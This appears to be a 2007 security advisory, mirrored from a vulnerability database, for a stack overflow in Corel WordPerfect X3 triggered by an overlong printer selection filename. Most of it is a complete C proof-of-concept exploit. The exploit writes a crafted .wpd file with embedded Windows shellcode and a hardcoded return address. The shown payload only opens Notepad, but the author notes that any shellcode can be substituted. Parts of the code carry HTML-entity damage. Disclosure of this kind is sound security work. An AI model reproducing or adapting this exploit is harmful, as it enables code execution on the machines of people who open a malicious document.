Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16499
HistoryMar 28, 2007 - 12:00 a.m.

Corel Wordperfect Office X3 Stack Overflow

2007-03-2800:00:00
vulners.com
6

Product Name: Wordperfect X3 (13.0.0.565)
Vendor: http://www.corel.com
Date: 28 March, 2007
Author: Jonathan So < jonny [ @ ] nop-art [ dot] net>
Advisory URL: http://www.nop-art.net/advisories/wpwinX3.txt

I. DESCRIPTION

A stack overflow vulnerability has been found in Wordperfect X3. The vulnerability could allow an
attacker to create a specially crafted document to execute abitrary code when opened by some
user.

II. DETAILS

Wordperfect X3 fails to check the length of the printer selection (.PRS) filename stored inside
Wordperfect documents, allowing an attacker to cause a stack overflow in order to execute
arbitrary code.

III. VENDOR RESPONSE

Vendor notified on 26 March, 2007. Awaiting response.

IV. CREDIT

Discovered by Jonathan So
Additional thanks to Tom Neaves

V. EXPLOIT

/**

  • wp13exp.c - Wordperfect X3 remote exploit
  • Proof of concept exploit for a stack based overflow in
  • Corel Wordperfext X3. The vulnerability can be exploited
  • by tricking a user into opening a specially crafted document.
  • Usage:
  • c:\win13exp evildoc.wpd
  • Original advisory: http://www.nop-art.net/advisories/wpwin13.txt
  • Author: Jonathan So [ jonny [ @ ] nop-art.net ]
    */

#define WINDOWS
//#define LINUX

#ifdef WINDOWS
#include <windows.h>
#endif
#include <stdio.h>

// Tested for Wordperfect X3 (13.0.0.565) on XP SP2
#define RET_ADDR 0x0012DF50

// Don't change these
#define PKT_INDEX_SIZE 14
#define HEADER_SIZE 512
#define PRINTSEL_PKT_SIZE 530
#define PRINTSEL_FAKE_SIZE 713
#define FONTDESC_PKT_SIZE 420

// WordPerfect file header
struct wp_header {
unsigned char file_id[4];
unsigned long doc_ptr;
unsigned char product_type;
unsigned char document_type;
unsigned char major_version;
unsigned char minor_version;
unsigned short encryption;
unsigned short index_ptr;
unsigned char reserved[4];
unsigned long file_size;
unsigned char extended_header[488];
};

// Index for data packet
struct packet_index {
unsigned char flags;
unsigned char packet_type;
unsigned short use_count;
unsigned short hidden_count;
unsigned long size;
unsigned long data_ptr;
};

// This WinExec shellcode locates kernel32.dll using PEB method before
// calling WinExec (using the string at the end of the shellcode) and
// finally calling ExitProcess. Should work for XP/2000/2003/NT but
// any shellcode should plug straight in, up to 420 bytes and it doesn't
// matter if it contain nulls.
char shellcode[] =
"\xb8\x7e\xd8\xe2\x73\x50\xe8\x21\x00\x00\x00\x83\xc4\x04\x50\xb8\x98\xfe\x8a\x0e\x50\xe8\x12\x00\x00\x00"
"\x83\xc4\x04\x50\xeb\x62\x5e\x58\x6a\x00\x56\xff\xd0\x58\x6a\x00\xff\xd0\x33\xc0\x64\xa1\x30\x00\x00\x00"
"\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\x45\x3c\x8b\x54\x05\x78\x03\xd5\x8b\x5a\x20\x8b\x4a\x18\x03"
"\xdd\xe3\x30\x49\x8b\x34\x8b\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03\xf8\xeb\xf4"
"\x3b\x7c\x24\x04\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xc3"
"\xe8\x99\xff\xff\xff" "cmd /c echo nop-art>c:\\test.txt && notepad c:\\test.txt\x00";

char fill_string[] = "nop-art.net";

void construct_header(struct wp_header* header) {
int i;

    // These are constant for all Wordperfect documents
    header-&gt;file_id[0] = -1;
    header-&gt;file_id[1] = &#39;W&#39;;
    header-&gt;file_id[2] = &#39;P&#39;;
    header-&gt;file_id[3] = &#39;C&#39;;
    
    // Document header values
    header-&gt;doc_ptr = 0;
    header-&gt;product_type = 0x01;
    header-&gt;document_type = 0x0A;
    header-&gt;major_version = 0x02;
    header-&gt;minor_version = 0x01;
    header-&gt;encryption = 0x00;
    header-&gt;index_ptr = 0x0200;

    header-&gt;reserved[0] = 0x05;
    for &#40;i=1;i&lt;4;i++&#41; {
            header-&gt;reserved[i] = 0x00;
    }

    header-&gt;file_size = 0;

    for &#40;i=0;i&lt;488;i++&#41; {
            header-&gt;extended_header[i] = 0x00;
    }

}

void construct_document(FILE *fp, long ret_addr)
{
// Index packets
struct packet_index index[3] = {
{ 0x02, 0x00, 0x03, 0x00, 0x00, x00 },
{ 0x00, 0x55, 0x01, 0x00, 0x00, 0x00 },
{ 0x08, 0x23, 0x01, 0x00, 0x00, 0x00 }
};

    struct wp_header header;

    unsigned char fontdesc_packet[FONTDESC_PKT_SIZE];
    unsigned char printsel_packet[PRINTSEL_PKT_SIZE];
    char *char_ptr;
    int i;
    int offset;

    construct_header&#40;&amp;header&#41;;

    // Fill the font selection packet with NOP&#39;s
    for &#40;i=0;i&lt;FONTDESC_PKT_SIZE;i++&#41; {
            fontdesc_packet[i] = 0x90;
    }

    // Set size and offset for index packets
    index[1].size = FONTDESC_PKT_SIZE;
    index[2].size = 713;
    index[2].data_ptr = HEADER_SIZE + &#40;PKT_INDEX_SIZE * 3&#41;;
    index[1].data_ptr = index[2].data_ptr + PRINTSEL_PKT_SIZE;

    // Copy shellcode into the end of the font descriptor packet
    offset = index[1].size - sizeof&#40;shellcode&#41;;
    for &#40;i=0; i &lt; sizeof&#40;shellcode&#41;; i++&#41; {
            fontdesc_packet[i + offset] = shellcode[i];
    }

    // Fill the printer selection packet with some data
    for &#40;i=0; i &lt; PRINTSEL_PKT_SIZE ; i++&#41; {
            printsel_packet[i] = fill_string[i &#37; sizeof&#40;fill_string&#41;];
    }

    // Add the return address on the end. Copied from a unicode buffer to non-unicode
    char_ptr = &#40;char*&#41; &amp;ret_addr;
    for &#40;i=8;i&gt;0;i-=2&#41; {
            printsel_packet[PRINTSEL_PKT_SIZE-i] = *char_ptr;
            printsel_packet[PRINTSEL_PKT_SIZE-&#40;i-1&#41;] = 0x00;
            char_ptr++;
    }

    // Set total file size and pointer to document body
    header.file_size = HEADER_SIZE + &#40;PKT_INDEX_SIZE * 3&#41; + PRINTSEL_PKT_SIZE + FONTDESC_PKT_SIZE;
    header.doc_ptr = header.file_size;

    // Now write all the data to file. Some compilers align structure members
    // on different size boundaries so we have to write them all separately
    fwrite&#40;&#40;void*&#41; &amp;header.file_id, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.doc_ptr, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.product_type, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.document_type, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.major_version, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.minor_version, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.encryption, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.index_ptr, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.reserved, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.file_size, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;header.extended_header, 488, 1, fp&#41;;

    fwrite&#40;&#40;void*&#41; &amp;index[0].flags, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[0].packet_type, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[0].use_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[0].hidden_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[0].size, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[0].data_ptr, 4, 1, fp&#41;;

    fwrite&#40;&#40;void*&#41; &amp;index[1].flags, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[1].packet_type, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[1].use_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[1].hidden_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[1].size, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[1].data_ptr, 4, 1, fp&#41;;

    fwrite&#40;&#40;void*&#41; &amp;index[2].flags, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[2].packet_type, 1, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[2].use_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[2].hidden_count, 2, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[2].size, 4, 1, fp&#41;;
    fwrite&#40;&#40;void*&#41; &amp;index[2].data_ptr, 4, 1, fp&#41;;

    fwrite&#40;printsel_packet, PRINTSEL_PKT_SIZE, 1, fp&#41;;
    fwrite&#40;fontdesc_packet, FONTDESC_PKT_SIZE, 1, fp&#41;;

    fclose&#40;fp&#41;;

}

int main (int argc, char **argv)
{
FILE *fp;
unsigned long ret_addr = RET_ADDR;

    if &#40;argc &lt; 2&#41; {
            printf&#40;&quot;Usage: &#37;s &lt;filename&gt; [-r 0xdeadbeef]&#92;n&quot;, argv[0]&#41;;
            printf&#40;&quot; -r &lt;retaddr&gt;         &#40;0x&#37;x default&#41;&#92;n&quot;, ret_addr&#41;;
            return 0;
    }

    if &#40;argc &gt;= 4&#41; {
            if &#40;memcmp&#40;argv[2], &quot;-r&quot;, strlen&#40;argv[2]&#41;&#41;==0&#41; {
                    ret_addr = strtoul&#40;argv[3], NULL, 0&#41;;
            }
    }

    if &#40;&#40;fp = fopen&#40;argv[1], &quot;wb&quot;&#41;&#41; == NULL&#41; {
            printf&#40;&quot;Error creating file: &#37;s&#92;n&quot;, argv[1]&#41;;
            return -1;
    }

    construct_document&#40;fp, ret_addr&#41;;

    printf&#40;&quot;Created document &#37;s with return address [0x&#37;x]&#92;n&quot;, argv[1], ret_addr&#41;;

    return 0;

}